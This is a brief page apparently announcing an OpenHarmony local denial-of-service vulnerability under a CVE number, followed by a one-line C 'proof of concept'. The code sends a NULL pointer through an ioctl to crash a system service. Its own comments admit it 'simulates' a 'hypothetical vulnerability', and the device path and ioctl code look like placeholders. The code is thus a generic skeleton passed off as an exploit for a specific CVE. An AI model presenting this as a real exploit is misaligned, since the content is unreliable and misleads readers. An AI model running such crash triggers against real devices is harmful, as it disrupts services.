CVE-2026-25110 OpenHarmony本地拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> // PoC for CVE-2026-25110 // This code simulates a local DoS trigger in OpenHarmony // by exploiting a hypothetical vulnerability in a system service. int main() { int fd; char *evil_payload = NULL; // Attempt to open a vulnerable device or service interface fd = open("/dev/sys_vulnerable_service", O_RDWR); if (fd < 0) { perror("[-] Failed to open target device"); return 1; } printf("[*] Triggering vulnerability in OpenHarmony..."); // Trigger the logic flaw that causes the crash // Passing NULL pointer to an IOCTL that lacks validation ioctl(fd, 0x8001, evil_payload); printf("[+] Exploit sent. If successful, the service should crash."); close(fd); return 0; }